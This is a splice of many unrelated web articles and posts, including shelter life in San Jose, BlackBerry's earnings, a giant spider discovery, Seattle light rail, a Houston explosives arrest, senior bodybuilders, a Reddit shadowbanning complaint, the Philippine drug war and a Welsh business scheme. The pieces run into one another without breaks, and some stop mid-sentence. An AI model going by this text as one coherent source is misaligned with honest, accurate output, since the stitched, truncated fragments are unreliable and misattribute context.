This is Carol and Cecilia. Robert Johnson for Business Insider Cecilia and Carol live at an InnVision shelter in San Jose, California. The shelter is intended for families on a lower rung of the transitional housing ladder, but they ended up here after a fire forced them out of the shelter for women and kids they were living in.
Their new InnVision shelter is designed as one of the first steps into the shelter system and its rules are meant to help move people along to "next step" shelters like the one Cecilia and Carol were forced out of due to a fire.
"We are the homeless, homeless," Cecilia says, straightening the neckline of her bright pink shirt.
[Click here to read about the Vietnam Vet who pulled it together at a shelter]
This is the sleeping area in their new shelter. Their children sleep on the other side of the same floor. Robert Johnson for Business Insider
Both mothers hold down jobs.
Cecilia works at an orthodontist's office, and while they provided her braces, they do not offer full-time work or benefits. Carol works nights at a local grocery store and stays with her two kids during the day. She walks 25 minutes along a poorly lit commercial street back to the shelter at midnight after catching the bus "home."
Neither woman can take their kids out to dinner because curfew is 6:00 p.m. and watching movies or enjoying family time is tough with open living areas and the general commotion. Cecilia says it's most difficult on her 16-year-old daughter who dreams of becoming a pediatrician.
"There are only so many things she can tell the kids at school; so many excuses she can make about why she can't go places or have them over. It's hard," Cecilia says, dabbing the corner of her eye with a tissue.Transformation from loss-making smartphone maker to software firm continues as quarterly profits rise and yearly outlook is ‘robust’
The transformation of BlackBerry from a bombed-out, loss-making smartphone maker to a new-look software firm appears to be working: the Canadian business has reported better-than-expected quarterly profits, boosting its shares by more than 12%.
The company, which was famous for its tiny keyboard phones and in 2010 had more than a third of the US smartphone market, was almost driven to extinction by the iPhone. By 2016 it had less than 1% of the US market. Thousands of workers were laid off as losses mounted and the business eventually gave up making phone handsets and decided to reinvent itself as a software and services specialist selling to large corporations.
In its profits update on Thursday the company said sales at its high-margin software unit had hit a record and the outlook for the rest of the year was robust, boosting investor confidence in its turnaround strategy. Its shares have risen 50% this year.
The company posted net income of $19m (£14m), following a loss of $372m last year.
Facebook Twitter Pinterest BlackBerry’s chief executive, John Chen, said the firm plans to expand into more advanced self-driving vehicles. Photograph: Aaron Harris/Reuters
“There are some exciting growth opportunities,” said a Morningstar analyst, Ali Mogharabi, citing BlackBerry’s progress in getting its technology into self-driving cars.
Last week the company announced a deal with the car parts supplier Delphi Automotive on a software operating system for self-driving cars.
John Chen, the BlackBerry chief executive, told analysts on Thursday that he expected the company to earn $5 to $25 a car as it expands into more advanced self-driving vehicles. It is already a leading provider of in-car information and entertainment software, which Chen said generates between $1.50 and $5 per vehicle.
Most of BlackBerry’s revenue now comes from managing phone systems for other businesses, but it expects the car industry and industrial applications to drive future growth.Everyone who knows me (and probably even some who don’t) knows that I’m a big fan of Princess Leia. So of course I am personally very excited for the publication of Claudia Gray’s new novel, Bloodline, out on May 3 from Del Rey, as Leia is front and center in the story. And Claudia writes Leia wonderfully — as a fan, the portrayal gives me a lot of joy. But there are so many reasons beyond that to read what I believe is a seminal novel |
the game on TV I had a lump in my throat and a tear in my eye as I heard ‘Marching on Together’ sung with more passion than I have heard in a decade. It brought back so many memories of former Leeds teams I have been fortunate to witness gracing the pitch at Elland Road. The players were unfortunate to lose against Liverpool but the result was not really significant. The game allowed them reward for progress made and their performance and their following in the stands caused those in the football world to take notice again.
The major broadcasters are airing Leeds games with such regularity that other teams will naturally watch on with envious eyes. Pundits and former professionals are joining in to continue to applaud the work of Monk and his vastly improving squad. Leeds are in danger of becoming fashionable again. For fans it is a long overdue improvement of fortunes after all the downs they have faced.
What is most evident about this tale is that while it may be true Leeds Unite need the Premier League, the Premier League now also desperately needs their return. No other club offers what Leeds does. Fans understand it. Former players understand it. The football world know it and craves that very unique brand of self deprecating passion filled fanaticism that can only be found in the Leeds United supporters. You are either Leeds or you are not, marching on together or just a poor imitation of a football fan.
You may disagree with that, but ask yourself this: if your club had experienced such a catastrophic fall from grace and the resulting turbulent times experienced by Leeds and its fans continuously for over a decade thereafter, would you still travel in such numbers to every away game, sing your heart out despite every section of the football world turning its back on you and taking every opportunity to kick you while you were down? If you would not my point has been proven. If you would then it is very likely that you are a Leeds United fan already.Scientists have found the world's largest species of golden orb-weaver spider in the tropics of Africa and Madagascar. The discovery marks the first identification of a new Nephila spider since 1879.
Females of the new species, Nephila komaci, measure a whopping 4 to 5 inches in diameter, while the male spiders stay petite at less than a quarter of their mate's size. So far, only a handful of these enormous arachnids have been found in the world.
"We fear the species might be endangered, as its only definite habitat is a sand forest in Tembe Elephant Park in KwaZulu-Natal," ecologist Jonathan Coddington of the Smithsonian's National Museum of Natural History said in a press release. "Our data suggest that the species is not abundant, its range is restricted, and all known localities lie within two endangered biodiversity hotspots: Maputaland and Madagascar."
The first potential specimen of the new species was uncovered by Coddington and his colleague Matjaz Kuntner of the Slovenian Academy of Sciences and Arts in 2000. They found a huge female orb-weaver among a museum collection of spiders in Pretoria, South Africa, and she didn't match the description of any known spider. Although they hoped the unusual-looking giant represented a new species, several dedicated expeditions to South Africa failed to find any live spiders of a similar description.
Then, in 2003, a second specimen from Madagascar was found at a museum in Austria, suggesting that the first spider hadn't been a fluke. But despite a comprehensive search through more than 2,500 samples from 37 museums, no additional specimens turned up, and the researchers assumed the biggest of all orb-weavers was probably extinct.
Finally, three live spiders have been found to prove the scientists wrong: A South African researcher found two giant females and one male in Tembe Elephant Park, proving that the new species was not extinct, just incredibly rare.
"Only three have been found in the past decade," Kuntner wrote in an e-mail to Wired.com. "None by our team, despite focused searches. Only an additional two exist in old museum collections. Compared to thousands of exemplars of other Nephila species in museums, that is disproportionately rare."
The two biologists named the new species after Andrej Komac, a scientist friend of Kuntner's who died in an accident near the time of the discoveries.
Like all Nephila spiders, females of the new species spin huge webs of golden silk, often more than 3 feet in diameter. In the report of the discovery of this rare spider, published Tuesday in PLoS One, the researchers also addressed the evolution of the dramatic size difference between male and female orb-weavers.
By mapping out the evolutionary tree of all known orb-weaver species, the scientists discovered that as the spiders evolved, females got bigger and bigger, while males stayed roughly the same size.
"It is good for females to be big, because they can lay so many more eggs," Coddington wrote in an e-mail. In addition, large size probably helps females avoid being eaten by predators.
"Relatively few groups can safely pluck an orb-weaving spider from its web," he wrote, "because you have to be able to hover to do so (hummingbirds, wasps, damselflies come to mind). None of these are large enough to tackle an adult Nephila, or even a large juvenile."
Males, on the other hand, are better off staying small and reaching sexual maturity at a young age. Going out searching for a mate is one of the most dangerous activities they undertake.
"So males risk everything to find, probably, just one, huge female, inseminate her, and probably do not willingly leave her web to search for another," Coddington wrote. "Nothing about sex says males must be big."
Image 1: Tiny male Nephila spiders are dwarfed by their female counterparts. Matjaz Kuntner and Jonathan Coddington/PLoS ONE.
Image 2: A giant golden orb-web exceeding 1 meter in diameter, spun by a Nephila inaurata spider. M Kuntner.
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Follow us on Twitter @wiredscience, and on Facebook.Washington State’s regional transit authority Sound Transit has started construction of the $2.1bn, 4.3-mile Northgate Link light rail extension in Seattle, US.
Extension of the light rail is set to be the largest Sound Transit 2 construction project to date.
The new line, which will run from Husky Stadium in Seattle to stations serving the University District, Roosevelt and Northgate, is expected to open for service in 2021.
The largely underground Northgate Link Extension will offer services for 20 hours a day, linking North Seattle destinations with the University of Washington, Capitol Hill, downtown Seattle, South Seattle, Tukwila and SeaTac.
Upon completion, a trip from Northgate to downtown is expected to take 14 minutes, while Northgate to UW Station will take eight minutes.
Sound Transit Board chair and Pierce County executive Pat McCarthy said that the commencement marks an important step toward delivering the 36 miles of light rail extensions that voters approved in 2008.
"The start of construction not only offers good news for commuters but also for our entire region’s economy, with our projected creation of more than 20,000 direct and indirect jobs," McCarthy said.
"Upon completion, a trip from Northgate to downtown is expected to take 14 minutes, while Northgate to UW Station will take eight minutes."
The Federal Transit Administration (FTA), the City of Seattle, King County Metro, the University of Washington and Puget Sound Regional Council area are all involved in the project.
FTA administrator Peter Rogoff said that the Northgate Link light rail extension is expected to provide seamless connections between downtown and SeaTac.
"This project creates jobs and brings more good transportation choices to everyone who lives and works in Seattle, the University of Washington and Northgate," Rogoff said.
In 2013, Sound Transit will select a contractor to excavate the underground stations and use tunnel boring machines to build twin 3.7-mile tunnels from north of the Roosevelt neighbourhood to the University of Washington Station.
Tunnelling work for the project is expected to start in late 2014.
Other works include building Northgate Station and the elevated guideway to the tunnel portal, finishes at the U District Station and Roosevelt Station, utility work, as well as systems and track work.
The project is on schedule to be finished in 2016, while Sound Transit is also planning for the extension of light rail southward from the airport to South 200th Street, which is also expected to open during that time.
By 2023, further Link extensions to the north, east and south will stretch the Link system to about 50 miles, with service to Shoreline, Mountlake Terrace, Lynnwood, Mercer Island, Bellevue, Redmond’s Overlake area and South King County.
By 2030, link trains are estimated to transport 300,000 riders each weekday.
Image: Tunnel boring machines will begin work on twin 3.7-mile tunnels in 2013. Photo: courtesy of Sound Transit.An Ohio State University (OSU) class has apparently determined another fundamental difference between Christians and atheists: their IQ points.
An online quiz from the school’s Psychology 1100 class, provided to Campus Reform via tip, asked students to pick which scenario they found most likely given that “Theo has an IQ of 100 and Aine has an IQ of 125.”
The correct answer? “Aine is an atheist, while Theo is a Christian.”
According to a student in the class who wished to remain anonymous, the question was a part of an online homework quiz. Students were required to complete a certain amount of quizzes throughout the course but were encouraged to finish all of them in order to prep for the final exam.
“I understand that colleges have a liberal spin on things so it didn’t surprise me to see the question, which is a sad thing,” the student told Campus Reform in a phone interview. “But how can you really measure which religion has a higher IQ?”
Psychology 1100 is a general education requirement class which can primarily be taught by an undergraduate teacher’s assistant.
While the student said the quizzes were based on the textbook used in class, an OSU employee in the psychology department who wished to remain nameless said quizzes are oftentimes created by the teacher’s assistant.
The employee added that the psychology department is “very open to talking with students” if they are worried about grading or a question on an exam.
OSU explicitly prohibits discrimination on campus against any individual based on “age, ancestry, color, disability, gender identity or expression, genetic information, military status, national origin, race, religion, sex, sexual orientation, HIV status, or veteran status,” according to the university’s policy.
“Colleges will tolerate pretty much any religion other than Christianity,” the OSU student said. “If colleges really want to give everyone a fair shot, they should stay away from making comments about any religion.”
Dr. Mike Adams, an outspoken conservative Christian professor at the University of North Carolina, said “every group is protected from offensive speech on campus except for conservative Christians.”
Adams also added that applying this principle to other types of groups would be taboo on college campuses.
"So would it be permissible to force blacks to take a class teaching that blacks would have a lower IQ than white people?” he said in an interview with Campus Reform.
This isn’t the first time a researcher has used psychology to suggest those with more social conservative or even religious values have lower IQ scores. A 2011 study published in Psychological Science claimed that “lower general intelligence...in childhood predicts greater racism in adulthood, and this effect was largely mediated via conservative ideology.”
“When science arose, it arose in the West and it did so in Christian nations. It did so because Christianity—with its assumptions about an orderly universe and its emphasis on obtaining knowledge as a cultural value—[was] necessary for science to develop and to flourish,” Adams said. “That anti-Christian bigots use science to attack Christianity is more than Pharisaic hypocrisy. It is deeply ingrained institutional bigotry.”
OSU declined to comment to Campus Reform for this story.
Follow the author of this article on Twitter: @K_SchallhornWith much of the US undergoing a broad revulsion against Confederate statues in the days since the Charlotesville clashes, it was only a matter of time before someone took matters one step too far. This happened today when a Houston man was arrested on allegations he tried to plant explosives at the statue of Confederate officer Richard Dowling in Hermann Park, according to Chron.com citing law enforcement officials.
Needless to say, the suspect was not fully "with it", and when confronted Saturday night in the park, the man tried to drink the liquid explosives, one of the sources said. The man was not identified by name but the sources said he had previously been convicted in 2014 and given five years probation for storing explosives.
The unnamed man was arrested about 11 p.m. Saturday in the park, a source said, following a day of protests that drew hundreds of people to Sam Houston Park protesting a Spirit of the Confederacy statue. The Saturday event also drew counter-protesters.
The details of the alleged attack emerged as authorities evacuated a block in a Museum District neighborhood near Rice University Monday after finding hazardous materials inside of a house. FBI, ATF, Houston Police on scene near Rice University Houston Police said they were responding to a "special assignment" in the 2000 block of Albans, near Rice University.
The searches on Monday followed an all-night "enforcement operation" led by the FBI, with the Chron reporting the full details:
Residents living on Albans Road, between Hazard and Wilton streets, left their homes about 10 a.m., according to an emergency alert from the city of Houston. The alert warned residents that disposing of the material could cause loud noises, smoke and damage to nearby property. The source of the commotion was a single house at 2025 Albans, according to the Houston Police Department. Investigators were in and out the house all morning. By 9:15 a.m., FBI agents had set up a blue tent on the front lawn, presumably to review evidence. An agent wheeled a large plastic bin labeled "sample collection" toward the roped-off house. Larry Satterwhite, an assistant Houston police chief who oversees the Homeland Security command, said "significant hazardous materiels" were found at the home, but didn't say what type they were.
"It's a lot," he said. "There's a significant amount of material in them... Some very hazardous materials were found."
Around 8:30am on Monday a Hazmat unit arrived with law enforcement personnel wearing shirts including "FBI Technical Hazards Response Unit" and "FBI Evidence Response Team" swarmed the block.
This is not the first time this particular address had been raided for potential explosives:
Federal agents have raided 2025 Albans before. In 2013, a multi-agency team stormed the home owned by Houston art community staple Cecily E. Horton, and her husband, Andrew Schneck. Agents also searched a Memorial-area homed then owned by the couple and a condo in Bryan. Officials said at the time that the couple's 22-year-old Andrew Cecil Earhart Schneck was the focus of the law enforcement interest. A source initially said the raid was sparked by chemicals that could be used to make nerve gas or tear gas. After combing through all three scenes, the FBI found a military-grade explosive called picric acid at the Memorial area home on Fall River. The following year, the younger Schneck was sentenced to five years of probation after pleading guilty in federal court to knowingly storing explosives. In 2016, a judge released him from probation ahead of schedule.
As the Chron adds, noted Houston defense attorney Dick DeGuerin lives nearby. He said a fire captain told him this morning he and his wife, who has a broken knee, should evacuate their home. "They just told us to evacuate, and they told us it's pretty bad," DeGuerin said. He said the law enforcement response Monday was "an order of magnitude" greater than the response to the hazmat situation at the same house in 2013.
In that instance, DeGuerin said authorities learned that a young man who lives there with his parents had ordered explosive materials over the internet. Travis Broesche, another neighbor, said he wasn't too concerned by the raid. "I'm appreciative of law enforcement," said Broesche.
And while one hopes that all future statue removal follow the "proper protocol", one can't help but wonder if this incident is just the start of a broader and more violent revulsion to historical US landmarks, controversial or otherwise.In the last five years, the number of men and women in their 60’s and 70’s competing in United States Bodybuilding Federation shows has doubled to 16, said Brian Washington, the commissioner of the federation, another drug-free group. Those figures will not put senior softball leagues out of business any time soon, but in an age in which athletes are publicly flogged for using steroids and human growth hormones, it is heartening to find a cohort of older Americans hellbent on getting cut the old-fashioned way. Or so they say.
Skeptics believe that natural bodybuilders may not be entirely drug-free.
Still, the oldest age group of natural bodybuilders has drawn enough interest that last year the Fame World Tour, a series of physique competitions sanctioned by Mr. Kippel’s organization, hired Scott Hults, a retired Naval officer-turned-bodybuilder to be in charge of promotions for the 60-plus division.
“Age is a statistic, not a burden and there is no reason a man or woman can’t get into and maintain the best shape of their lives at any age,” said Mr. Hults, 64, who has competed in 26 shows since 2005 and last year won an age-group title.
Some older bodybuilders were weight lifters or wrestlers in their youth; others are fitness buffs who want to test their mettle; still others are retirees who refuse to go gently anywhere.
Although it is harder to build muscle later in life — 18 to 35 are considered the prime muscle-building years — it is possible, said Jose Antonio, the vice president of the National Strength and Conditioning Association.
Take Ed Cole, who entered his first bodybuilding contest last year at age 71. After retiring in 1992, Mr. Cole, who is 5-5, ballooned to 195 pounds. In 2000, he resolved to start weight training, which he had not done since he was a gymnast in his youth. He spent 90 minutes a day hoisting weights in the fitness center he built in his basement, and by 2004, he was 50 pounds lighter, and a certified personal trainer to boot.
He overhauled his diet, too. But after roughly seven years of diligent eating “for nutrition only,” he was ready to grease up his muscles and join the brawny and drug-free. To this day, he said, nothing stronger than magnesium has passed his lips.
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Older bodybuilders tend to be disciplined purists. Younger competitors might want to push the envelope and beef up as much as possible, said Dr. Antonio, who has a Ph.D in muscle physiology. “Older individuals just want to improve their physique.”
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Mr. Hults said: “Maybe if I had started bodybuilding in my 20’s instead of my 60’s, I might have used steroids. But since I did get into the game later in life, it made sense for me to go the natural route. I’m glad I did. I have been able to achieve much on my own, without illegal muscle enhancements. That in itself is very satisfying.”
But he does acknowledge knowing several senior athletes now on steroids, human growth hormone or testosterone replacement therapy.
For the most part, the senior bodybuilders say they take great pride that their amped-up pectorals are strictly the result of diet, exercise and vitamins and supplements.
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Prized supplements include creatine for strength, glutamine for muscle recovery, branch chain amino acids for muscle development, all of which Dr. Antonio, who is also the chief executive of International Society of Sports Nutrition, recommends for bodybuilders.
Mr. Kippel’s group, along with the International Natural Bodybuilding Federation, the amateur arm of the World Natural Bodybuilding Federation, randomly test during the year. Still, antidoping experts wonder just how natural “natural” bodybuilding is.
Neither the World Natural Sports Organization nor the International Natural Bodybuilding Federation perform blood tests, which is the only way to test for human growth hormone, said Dr. Gary Wadler, an internist and a member of the World Anti-Doping Agency.
There are also certain so-called natural supplements that can contain traces of banned substances.
“We saw for many years that dietary supplements were contaminated with androstenedione, which is converted in the body to testosterone, but many people were not knowingly taking it,” Dr. Wadler said. “That problem has been diminished, but whether it’s been totally eliminated I have no way of knowing.”
The athletes insist they are clean.
“The older guys despise the drug scene,” said Len Bosland, 82, from Glen Rock, N.J., who has been a bodybuilder for decades, still competes and was Mr. New Jersey in 1952.
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Unlike weight lifting, which depends on brawn, bodybuilders train to look good in swimsuits that leave little to the imagination. They must perfect 8 to 10 poses and are judged on criteria such as grace, muscle symmetry, definition and body shape. A choreographed routine to music is also required.
Melvin Cooper, 64, a father of seven and a Brooklyn pastor, did not expect to be bodybuilding in his twilight years. But two years ago, while working out at a gym, a bodybuilder approached him and said: “ ‘You look good, man. Where do you compete?’ ” Mr. Cooper recalled.
“I said, ‘I don’t,’ and he said, ‘At your age no one would beat you.’ ”
Mr. Cooper, whose strongest stimulant of choice is Red Bull, entered his first competition, the Hercules, in June last year, and won.
“I do one-handed push-ups for my finale,” he said proudly, adding that he goes to the gym up to three hours daily, except Sundays.
“I make a lot of noise so everyone can hear,” he said. “I’m a big show off.”
So is Dr. Don Morse, who won the Natural Physique Association’s Natural Mr. USA bodybuilding championships for men older than 70.
“I love to get in front of a crowd,” said Dr. Morse, 77, a retired endodontist from Cherry Hill, N.J. After all, it is quite a boost when bodybuilders decades his junior gush: “I’d be so happy if I could look as good as you.”
Bodybuilding has helped a lot of competitors conquer demons. Dr. Grossman, who has won more than 200 trophies, used to have stage fright. “But another fellow in the gym had competed and he said: ‘Who cares? You don’t know anyone.’ I said: ‘Yeah, I’m a grown man. What do I care?’ ”CAN YOU GUESS THE COMPOSER?
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The five concerts I attended out of the six in the St. Petersburg Quartet's series devoted to the complete string quartets of Shostakovich and selected mid and late quartets of Beethoven was one of the great experiences of my concertgoing lifetime, and at some point we're going to have to come back to it. For now, let me say that I actually bought four CDs on display -- and I don't ever remember buying a record at a concert venue. (Not to worry, I had done some checking online and discovered that I wasn't going to be able to buy these records, the St. Petersburg's more recent recordings, which I didn't have, much cheaper, and I figured that this way a significantly larger chunk of the proceeds would go to the musicians.)Two of those CDs comprised the complete works for string quartet of Tchaikovsky. Each of the others -- a Debussy-Ravel coupling and a coupling Mendelssohn's Op. 13 and Dvorak'sQuartet -- included as a bonus a bona fide encore-type piece, which set me to thinking about string-quartet encore pieces. We're going to hear those two performances (one tonight, the other in tomorrow night's preview), but first I want you to hear another piece I turned up in the process of thinking about the subject.This is a "Guess the Composer" deal, though you can get the answer easily enough in the click-through. Before we hear this little piece, two things:(1) It's only fair to warn you that especially if you listen to it more than once, you're at risk for falling hopelessly in love with this little treasure.(2) Although its composer certainly is well-known, this piece isn't so. It was billed, in the 1974 release from which this performance is taken, as a "world premiere recording." It is estimated to have been written in 1919, when its composer was 21.
Labels: Sunday ClassicsShadowbanning means that the post is published and the author does not receive a warning or any disciplinary action, but most users can’t see it, so it generates no traffic. The poster isn’t outraged at being censored, he is simply demotivated by believing that his audience is not interested. Shadowbanning is very hard to prove if done right: show the content to his friends and devout followers and hide it only from strangers and independents.
Trump supporters have a Reddit forum “The Donald“. The CEO of Reddit was caught and forced to apologize because he edited the comments of users. He promised it won’t happen again and technically he kept the promise, I didn’t catch him editing comments. But I caught them shadowbanning.
I’ve found something that I believed can interest Trump supporters who are … not the greatest fans of CNN. CNN “reporter” Clarissa Ward made “hearthbraking report of the suffering of Syrian people at the hand of Assad” (Al-Qaeda propaganda). She also addressed the UN security council because random journalists often do that. The problem with her “reporting”?
On the left there is her in a territory “under the brutal oppression of Assad”. On the right it’s also her, in the land “liberated by the rebels” (Al-Qaeda). Well, a picture tells a thousand words which part of Syria is more free. Since I’m not busy reading CNN propaganda pieces, how did I find this gem? On the twitter of a Lebanese Christian journalist (I’ve found her on the twitter of Ann Coulter). Here is another good Clarissa Ward meme:
Anyway, I made a reddit post about it, linking the twitter post linked above – and I received no votes or comments or whatnot. It seems like a dud, people don’t care about such thing, right? Well, having my time with game developers, I instantly thought the alternative: the post is being manipulated. And indeed I couldn’t find my post on r/The_Donald/new despite repeated F5s. So I posted it again, but this time I didn’t link the twitter post, instead I saved the photo above and posted it under the same title. Well, it wasn’t a huge hit either, but it received 48 upvotes, so people indeed seen it.
I’d like to stress that the original post wasn’t formally banned, it’s still there and it’s right there on my post list:
Why was I shadowbanned? I wasn’t, there is no point banning a throwaway reddit account. It’s Sarah the journalist who is shadowbanned. Random guys posting memes won’t convince independents about politics. No one will vote for Trump in 2020 because of a “God Emperor stared at the sun and it hid behind the moon” meme, so such activity is harmless. But actual journalist working locally finding facts is dangerous, so her content must be hidden. So when I linked one of her posts, my post was shadowbanned, to make me think that facts are uninteresting according to “my peers” and go back posting guns, girls in lingerie and Trump baseball hat and screenshots of bizarre posts of raging feminists.
Reddit is running an operation to “defang” the Trump supporters, deny them useful information that they could use to convince their real-life contacts and make them waste their time with “feel-good” memes and post crap that makes them look like a childish cult instead of a political movement.
PS: I’m not entirely innocent about that “childish cult” thing.In the Amazon, activists die for standing up for the rainforest.
In one of the most high-profile activist murders in years, Jose Claudio Ribeiro da Silva and his wife were gunned down in May. The two assassins reportedly cut off their ears as proof they had successfully completed their mission.
The couple is among at least 212 Amazonian activists who have been murdered since 1996 — an average of 12 per year.
Now a new documentary produced by Al Jazeera examines the death of da Silva, who had campaigned against illegal logging for nearly 15 years.
Says Al Jazeera: "'The Crying Forest' paints a shocking portrait of life in the Brazilian Amazon through the story of a couple that lived and died for the rainforest."
Watch below.
Follow Stephanie on Twitter: @stephaniegarlowThe squirrels of the forest grew poorer and more starved each day that passed thanks to the tyrant King Louis the Umpteenth. It is up to you to raise an army to overthrow the king and set the world right again. Embark on an nutty journey filled with a strange cast of characters through a historically inaccurate retelling of the French Revolution with squirrels. If you are a fan of turn based strategy games and want something different from the status quo, this game is for you. The deceptively simple to learn rules of the game lead to a varied set of strategies that you can employ to defeat your enemy and march on. Features: - Battle through an epic journey against five unique bosses each with their own abilities and environments. - Enjoy quirky, hand-made immersive artwork and animations! - Test your strategies and do battle in 25 epic levels. - Take control of your enemies: play as defeated single-player enemies in local multiplayer mode! Story: King Lois the Umpteenth and his queen Marie Antoinutte reigned over the poor and starved squirrels of the forest. The king's greed knew no bounds and set out to bankrupt his people by taxing their hard earned acorns. With no acorns to any of the peasant's names they grew angrier and angrier as each day passed. On one cold dark evening, the King had sent his loyal tax man to collect the acorns from Charles DeMontequirrel who had refused to pay the unjust nut tax. As the tax man knocked on Charles' wooden door it swung wide open. Charles stood before the tax collector visibly upset as he was scolded for not following the king's unfair decrees. Charles could no longer simply refuse to pay up and wanted only to set things right. He snatched the legal document the collector shoved in his face and tore it to pieces. A call to arms was made and a skirmish set outside of Charles' house as he began his battle with the tax man and set forth on his rodent revolution upon the king and his men. Do you have what it takes to start a revolution?
Show MoreIf software platforms lived and died by their peripherals, the world would be a very different place. The Xbox Kinect, PS Move, and the awkward, but satisfying, N64 Rumble Pak all have very specific legacies. Now that we’re at the dawn of the age of VR, it’s time for a bunch of new peripherals.
From VRLA earlier this month, we reported on the existence of the ultra-realistic looking VR-15, a rifle made for the HTC Vive that holsters your controller and provides a realistic gun-toting experience. Now, on a similar note, Ilium VR is announcing the availability of its own gun controller, dubbed The Persuader. You can order devkits from their website, starting today, for $199.
As opposed to the pseudo-realism of the VR-15 we wrote about previously, The Persuader looks like a Tommy gun designed for a video game. The material itself reminds me of the guns I’d play with as a kid and the brightly colored buttons on the side make sure your brain isn’t too fooled by the lethal shape.
What makes The Persuader so nice is that the button attachment can actually be removed and configured, in addition to a joystick attachment, making it a great controller even for games that have you up and moving about. All you do is mount a Vive controller on the front and the gun handles the rest. There is also a drop-down magazine function, which can be mapped to initiate the reloading action in whatever game you are playing.
According to an official press release:
The Persuader is modeled after the classic Tommy gun, and is the first gun controller for virtual reality with realistic functionality—incorporating a drop-down magazine, haptic feedback, and a fire select switch. The Persuader also features a modular attachment system, allowing for quick swapping of buttons and attachments—making it ambidextrous. The wireless controller, priced at $199, integrates with the HTC Vive via a mount on the barrel. Integration for headsets such as the Oculus Rift and OSVR are available exclusively to members of the Ilium VR Developer Program, which is by application or invite only. The functionality of the gun gives game developers tremendous freedom in creating their own immersive VR experiences. Included with the kit are two starter demos: one, a desert zombie shooter and the other, an urban rooftop defense game. Software packages and tutorials with easy to use integrations for Unreal and Unity engines will also be available for download.
While the model available is technically the devkit, designed for early adopters and developers to get started on integrating the gun into their games, consumers are welcome to purchase units as well. You can try out the two starter demos and support for other software is already in the works for such big-name games like Grand Theft Auto V.
The Persuader can be purchased from the Ilium VR store for $199.
Tagged with: add on, gaming, haptic, peripheral, realism, ViveSYRACUSE, N.Y. -- The father a toddler murdered in 2010 has been charged in the fatal shooting of a man on South Clinton Street earlier this week.
Rashaad Walker, 24, was arrested and charged in the murder of 25-year-old Tony Guyton yesterday.
According to investigators, Guyton was riding his bike home from work just before 1:30 p.m. Tuesday when he was ambushed and killed on the 500 block of South Clinton Street near the Clinton Plaza Apartments. Guyton was rushed to Upstate University Hospital where he died shortly after.
Witnesses at the scene reported seeing a gray four-door sedan fleeing the scene southbound on South Clinton Street shortly after the shooting.
Investigators say surveillance video and witnesses identified Walker as the shooter.
Walker is charged with second-degree murder and second-degree criminal possession of a weapon. He is currently lodged at the Onondaga County Justice Center.
Anyone with information about the murder, is asked to call the Syracuse Police Department at 315-442-5222.
Walker has a history of gang violence, suspected in other shootings
Police Chief Frank Fowler says Walker is a long-time member of the 110 gang and has a prior criminal record. Walker was arrested and charged with attempted murder in 2013. The charges were later dropped.
Officials say they believe Walker is responsible for several other shootings in the city this year.
"Because of the suspect description, vehicle description and other information that was provided by witnesses in those cases it leads us to believe he may be involved in other shootings as well," said Fowler.
Guyton's murder was the sixth incident in a rash of shootings in the city
The murder was the sixth shooting in Syracuse this month and police believe Walker is responsible for several other shootings in the city this year.
The suspect's son was murdered in a gang shoot-out in 2010
Walker made the news in 2010 when his 20-month-old son was shot and killed in the crossfire of a gang rivalry. Police say the shooting happened in retaliation of a shooting earlier that week.
The father was sitting in the front seat of a minivan with his son in the backseat when a shooter approached the van and fired.
He told investigators he thought his son was murdered on purpose.
"He shot my son in the head. He had to aim," Walker said in a 2010 interview with Syracuse.com
Saquan Evans, 21, a Bricktown gang member, was convicted in the child's murder two years later in May 2012.
He was sentenced to 25 years to life in prison for second-degree murder with an additional 15 years for second-degree criminal possession of a weapon.“Trust us, we value life!”
The Philippine National Police chief made that plea on Monday, as he asked critics of human rights violations in President Duterte’s brutal war on drugs to focus their attention on reforming drug users instead of on abusive policemen.
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Police admit to killing more than 3,800 suspects since Mr. Duterte launched the crackdown on narcotics in June last year, but they say they only defended themselves when the suspects resisted arrest.
But more than 2,000 others have been killed by motorcycle-riding gunmen, whom human rights groups say could be hired guns working for the police or are policemen themselves working for rewards that come with the campaign.
More reliable figures are hard to find, but Sen. Risa Hontiveros, speaking at a Senate inquiry into the police killings of minors last month, said more than 13,000 had been killed since the start of the crackdown.
‘Don’t ask us to change’
But the “bleeding hearts,” including the Catholic Church, should ask people to stop using drugs so the police would not have to do anything to begin with, PNP Director General Ronald “Bato” dela Rosa said in a World Pandesal Day press briefing at Kamuning Bakery Café in Quezon City on Monday.
“Do not ask us to change. Ask that [of the drug users],” Dela Rosa said. “If the war on drugs is bloody, stop taking drugs, stop fighting the police!”
“You’re always focusing only on the police. Please turn around, do an about-face,” he added.
Dela Rosa said the PNP would not have waged the war on drugs if it |
my first weekend of the new semester, and I decided to ring in the new year by hanging out with my roommate and her boyfriend while my boyfriend is having fun at his two week long hippie festival. I’ve still not completely gotten over the novelty of being able to smoke and drink in my own apartment without the worry of my neighbor or roommate asking me what I’m doing. It’s such a relief to sit back in my chair with a nice mug of wine and a bowl.
Alcohol, by the way, is an extremely smart marketing ploy. It’s the only thing that starts tasting better the ore and more you drink. My bottle of Redds was slightly disgusting at the beginning, but as I got closer and closer to the bottom of the bottle, I enjoyed every sip that much more…
or maybe that’s just the drugs talking.Media playback is unsupported on your device Media caption Wes Fisher, of Flame Protect UK, says the firm has a contract with Warner Bros
About 1,200 small businesses have been supported in Blaenau Gwent since 2011, as the local authority tries to tackle high levels of unemployment.
They have been set up or helped after it became the first Welsh council to adopt the American Sirolli model.
This sees mentoring given to people to turn passion into businesses in the absence of major outside investors.
While the area has the highest unemployment levels in Wales, they fell from 14.1% in 2012 to 8.1% in 2016.
Prof Max Munday from the Welsh Economy Research Unit, said the scheme was "useful" in helping people make their own opportunities.
But he said challenges in creating mass employment in the area "should not be underestimated".
Blaenau Gwent - which has a population of 70,000 - has lost many big employers, including the Ebbw Vale steelworks, which once gave work to 34,000 people.
Ironworks at Tredegar and collieries in places such as Six Bells, Abertillery, are also long gone while plans to create 6,000 jobs with the Circuit of Wales at Ebbw Vale have disappeared.
Without replacements for these, the BG Effect has supported 1,187 business ideas or people who need help with existing operations.
It mentors entrepreneurs, offers advice on getting start-up grants and gives help with finding premises, web design and marketing products.
Those it has helped include a company which gives furniture a new lease of life and a babywear shop in Abertillery.
There are also jam and cake-makers, an interior designer, a fitness club and dance company.
The project's Moe Forouzan said it is "like an old telephone exchange".
"We listen to people and connect them to those who can help," he said.
"The key to the project's success is our volunteer resource panel, made up of people from all areas of business, that help us support our clients with their business ideas."
One business launching in September is Language Lambs, with Anna Snowden McVeigh - a qualified teacher who is fluent in French, Greek and German - set to puts on classes in Six Bells.
"Children have the ability to pick up languages so easily," she said.
